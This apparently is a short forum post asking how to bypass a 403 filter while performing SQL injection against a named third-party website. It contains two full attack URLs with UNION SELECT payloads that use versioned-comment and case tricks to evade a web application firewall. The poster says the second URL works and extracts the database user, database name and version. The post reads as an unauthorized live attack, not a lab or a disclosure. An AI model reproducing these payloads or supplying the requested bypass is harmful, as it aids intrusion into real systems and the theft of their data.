Hi,
I'm stuck here (403 Forbidden):
http://www.amigoh.com/aboox/index.php?mod=verseim&read=yes&id=113+/*!AND*/+1=0+/*!unION*/+/*!selECT*/+1,2,3,4,5,6,7,8--

I manage to find another page on the same site that is vuln:
http://www.amigoh.com/aboox/pview.php?id=191+/*!AND*/+1=0+/*!unION*/+/*!selECT*/+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8--

but I am still wondering how to bypass first one...